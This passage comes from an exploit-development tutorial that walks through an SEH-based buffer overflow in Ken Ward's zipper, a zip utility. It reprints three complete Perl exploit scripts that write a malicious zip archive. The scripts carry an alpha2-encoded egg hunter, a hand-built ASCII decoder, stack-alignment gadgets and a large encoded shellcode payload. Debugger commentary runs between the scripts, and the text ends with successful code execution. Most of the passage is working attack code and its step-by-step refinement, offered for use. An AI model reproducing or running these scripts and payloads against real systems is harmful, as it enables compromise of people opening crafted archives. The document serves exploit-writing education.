"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

As expected, after the 2 pop edx instructions were executed, edx now contains 0x0013F930.

That’s great

Does everything still looks fine ? Are you sure ?

Look at esp too. Esp now points at 0013F914, and that may be too far.

After all, If our custom decoder reproduces 8 bytes of code, then the first bye of the reproduced 8 byte opcode will be located at 0x0013F914 – 8 = 0013F90C

That will be a problem, because there are a number of instructions (starting at 0013F908) that would prevent these instructions from getting executed.

When the custom decoder finishes, it will simply execute the next instructions (A’s in our case, 0×41 or INC ECX), until it reaches the reproduced code. As we can see in the CPU view, we have some instructions that would break our execution flow (there’s the jump back, followed by 2 LEAVE instructions… in other words, if the reproduced code is written after those jump back & leave instructions, we would never reach them).

So instead of doing 72 popad’s, we’ll just do 71 popads, so ESP would point 32 bytes higher. Of course, we’ll have less space to put our custom decoder, but let’s see if that really is an issue.

Executing only 71 popad’s will change things again :

esp will point to another location (closer to the custom decoder, so that’s ok)
the stack will look different after 71 popad’s vs 72 popad’s. So we need to rethink/rebuild the code that we need to use to get edx aligned and pointing to the egg hunter (again)

Change the code (change from 72 popad’s to 71 popad’s)

After 71 popad’s are executed, (before the pop edx instructions are executed), the stack and registers look like this :

Hmmm – the stack contains A’s and some other useless crap, so that’s not going to help. We can no longer take the second value from the stack. And there is nothing in the useful in the registers either….

How can we get a good starting value in edx if there is nothing on the stack, and no registers point to a good value ?

Ah well, I lied. There is a register that can be used. In fact, we can just use esp.

It points to a usable address, so instead of doing 2 pop edx instructions, we could also put the value from esp into edx (basically do a push esp (0×54 = “T”) and pop edx.)

If we execute those 2 instructions after the 71 popad’s, edx contains 0x0013F8EC. In order to get to 0x0013F58E, we have to subtract 862 bytes (0x35E) from edx.

ok, so the instructions to reproduce are

sub edx,0x35E (\x81\xea\x5e\x03\x00\x00)
jmp edx (\xff\xe2)

(8 bytes of opcode)

The custom decoder that will reproduce those instructions looks like this :

(I already explained how to build this encoder in the QuickZip article part 1 (on the Offensive Security Blog), so I won’t explain it again)

Block 1 : reproducing 0×00 0×00 0xff 0xe2

First, clear eax :

"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".

Next, set eax to E2FF0000 and push it to the stack

"\x2d\x55\x55\x55\x5F".
"\x2d\x55\x55\x55\x5F".
"\x2d\x56\x55\x56\x5E".
"\x50"

= 26 bytes of code

Block 2 : reproducing 0×81 0xea 0x5e 0×03

First, clear eax :

"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".

Next, set eax to 035EEA81 and push it to the stack :

"\x2d\x2A\x5A\x35\x54".
"\x2d\x2A\x5A\x36\x54".
"\x2d\x2B\x61\x35\x54".
"\x50"

= 26 bytes of code

Oh – by the way – in case you are still struggling to build this decoder… pvefindaddr v1.24 (and up) includes a new feature that will produce an ascii encoder for you.

Quick preview :

ok, it’s not perfect, because you will have to filter out bad characters yourself (such as 0x5C), but at least this should give you a head start.

Version 1.26 (and higher) of pvefindaddr will include a basic bad char filter for this decoder and will allow you to specify a file (instead of typing the bytes) that contains the shellcode bytes that need to be wrapped into a decoder too. Quick demo ?

Or, perhaps even better, you will also be able to do this :

(basically generate opcode and encode it right away :-) )

(stay tuned – this new version will be released soon)

Anyways, back to where we’ve left off… the total size of the custom decoder is 52 bytes.

We already used 71 bytes for the popad instructions, and a few more bytes to get something into edx. That means that we cannot add the custom decoder in this block of 102 bytes ($filler2).

How are you going to structure the payload ? Where are you going to put the custom encoder ?

Let’s find out

We have to put the custom decoder into the other block of 102 bytes ($filler3), and use the remaining bytes of $filler2 (after the popad’s and edx alignment), to jump to the custom decoder at $filler 3. (We really have to make that jump forward because $filler3 starts with a jump back. Without the jump forward at $filler2, we would just trigger the jump back at the begin of $filler3 again, and end up in a loop. Kinda nice to see – but pretty useless at the same time).

The jump forward will need to be a short jump forward. A jump forward of about 32 bytes would be fine.

Since we have to use a conditional jump (character set limitation, remember ?), we need to look at the state of the flags.

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

Zero flag is 1, so we can use 0×74, with an offset of let’s say 0×20 (space, valid character in our buffer). Let’s put 0×74 0×20 after the push esp / pop edx instructions, and find out where that leads us to :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 71;  #make esp happy
#make edx happy + jump to $filler3 (32 bytes forward)
my $edxalign="\x54\x5a\x74\x20";
my $filler2 = "A" x (102-length($espalign.$edxalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $filler3 = "A" x (102-length($jmpback));
my $filler1= "A" x ($offset - length($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

After the push esp/pop edx instructions are executed, we see the jump forward, which will properly jump over the jmpback code, and land in $filler3. So at that location (basically at $filler3 + 3 bytes padding), we can write our custom decoder.

Implementing the custom decoder

Let’s try :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 71;  #make esp happy
#make edx happy + jump to $filler3 (32 bytes forward)
my $edxalign="\x54\x5a\x74\x20";
my $filler2 = "A" x (102-length($espalign.$edxalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $decoder = "AAA".   #3 bytes padding needed before decoder
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2d\x55\x55\x55\x5F".
"\x2d\x55\x55\x55\x5F".
"\x2d\x56\x55\x56\x5E".
"\x50".
"\x25\x4A\x4D\x4E\x55".
"\x25\x35\x32\x31\x2A".
"\x2d\x2A\x5A\x35\x54".
"\x2d\x2A\x5A\x36\x54".
"\x2d\x2B\x61\x35\x54".
"\x50";

my $filler3 = "A" x (102-length($jmpback.$decoder));
my $filler1= "A" x ($offset - length($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$decoder.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$decoder.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

After the custom decoder finishes reproducing the original code, we can see that it has nicely written the code a few bytes below the end of the decoder (see screenshot below, reproduced code can be found at 0x0013F8E4)

Conveniently, the INC ECX instructions (A’s) between the end of the decoder and the reproduced bytecode, will act as a nop here. So when the decoder has finished, it will execute a bunch of harmless inc ecx instructions, and will eventually execute the sub edx,35E and jmp edx instructions.

Step through until the jmp edx instruction. Don’t make the jump yet, just verify that EDX now points at the start of the egg hunter :

That looks fine.

If you now press F9, the egg hunter should run, locate the shellcode, and execute it :

pwned !

About the author

Peter Van Eeckhoutte (a.k.a. “corelanc0d3r”) has been working in IT System Engineering and Security since 1997. He currently serves as IT Infrastructure Manager and Security Officer for a large European company.

He is owner of the Corelan Blog, author of several exploit writing tutorials, a variety of free tools, maintains/moderates an exploit writing forum, and founder of the Corelan Team, which is a group of people that share the same interests : gathering and sharing knowledge.

Peter is 35 years old and currently lives in Deerlijk, Belgium. You can follow him on twitter or reach him via peter dot ve [at] corelan {dot} be.

Thanks to

My buddies at Corelan Team, my friends all over the world, and of course Shahin Ramezany for giving me the opportunity to publish this article on the abysssec.com website.

(oh … and by the way Shahin : I’m really sorry I ruined your game last night – sorry bro ;-) )

Abysssec Security Research